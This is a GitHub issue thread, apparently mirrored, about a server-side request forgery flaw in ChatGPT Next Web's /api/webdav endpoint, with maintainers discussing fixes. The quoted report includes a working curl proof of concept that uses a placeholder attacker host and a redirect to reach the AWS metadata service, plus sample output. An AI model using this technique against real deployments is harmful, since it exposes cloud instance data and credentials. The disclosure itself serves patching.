Code Monkey home page Code Monkey logo

Comments (8)

Dean-YZG avatar Dean-YZG commented on May 24, 2024 1

We will solve this problem by whitelisting webdav endpoints

from chatgpt-next-web.

H0llyW00dzZ avatar H0llyW00dzZ commented on May 24, 2024

Bug Description

The v2.11.3 release removed the /api/cors endpoint but added a new /api/webdav endpoint. This new endpoint is also vulnerable to full-read SSRF.

Steps to Reproduce

Let's call the attacker IP "attacker-ip", and the vulnerable ChatGPT Next Web target ip "target-ip".

An attacker would first set up a http redirector on their IP. This redirector will respond to HTTP requests by returning a HTTP redirect with the Location header set to an endpoint in the internal network of the "target-ip".

For instance, let's say the redirector is running on port 46732 on the "attacker-ip" and it's set up to redirect to http://169.254.169.254/latest/meta-data (AWS metadata service).

Then the attacker makes a request to the webdav endpoint that looks like this:

curl --path-as-is 'http://target-ip:3000/api/webdav/a:/chatgpt-next-web/backup.json?endpoint=http://<attacker-ip>:46732'

The /api/webdav handler will fetch "http://attacker-ip:46732/a:/chatgpt-next-web/backup.json", which will then redirect to http://169.254.169.254/latest/meta-data, resulting in the attacker getting an output like this:

ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
events/
hibernation/
hostname
iam/
identity-credentials/
instance-action
instance-id
instance-life-cycle
instance-type
local-hostname
local-ipv4
mac
metrics/
network/
placement/
profile
public-hostname
public-ipv4
public-keys/
reservation-id
security-groups
services/
system

Expected Behavior

the right solution is to allow the user to configure the webdav urls in server-side config, and for the application to only allow access to those URLs. Redirects could be disabled but it'd still be vulnerable to blind SSRF.

Screenshots

No response

Deployment Method

  • Docker
  • Vercel
  • Server

Desktop OS

No response

Desktop Browser

No response

Desktop Browser Version

No response

Smartphone Device

No response

Smartphone OS

No response

Smartphone Browser

No response

Smartphone Browser Version

No response

Additional Logs

No response

does it still affected with this latest commits (unreleased) c0c54e5 ?

from chatgpt-next-web.

H0llyW00dzZ avatar H0llyW00dzZ commented on May 24, 2024

waiting for the info..

from chatgpt-next-web.

nvn1729 avatar nvn1729 commented on May 24, 2024

haven't tested the latest but from the code it appears to be affected. the attacker fully controls the endpoint the server reaches out to, and the server can be redirected back to arbitrary internal URLs.

from chatgpt-next-web.

fred-bf avatar fred-bf commented on May 24, 2024

I'll patch a separate version to disable redirect, @nvn1729 do you have any other suggestions?

from chatgpt-next-web.

fred-bf avatar fred-bf commented on May 24, 2024

merged in #4381

from chatgpt-next-web.

nvn1729 avatar nvn1729 commented on May 24, 2024

One approach is for the user to define an allowlist of webdav endpoints in server-side config, and the webdav API should only allow access to those specific endpoints.

Disabling redirects helps but it'll still leave the app vulnerable to blind SSRF.

from chatgpt-next-web.

Dean-YZG avatar Dean-YZG commented on May 24, 2024

#4479

from chatgpt-next-web.

Related Issues (20)

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.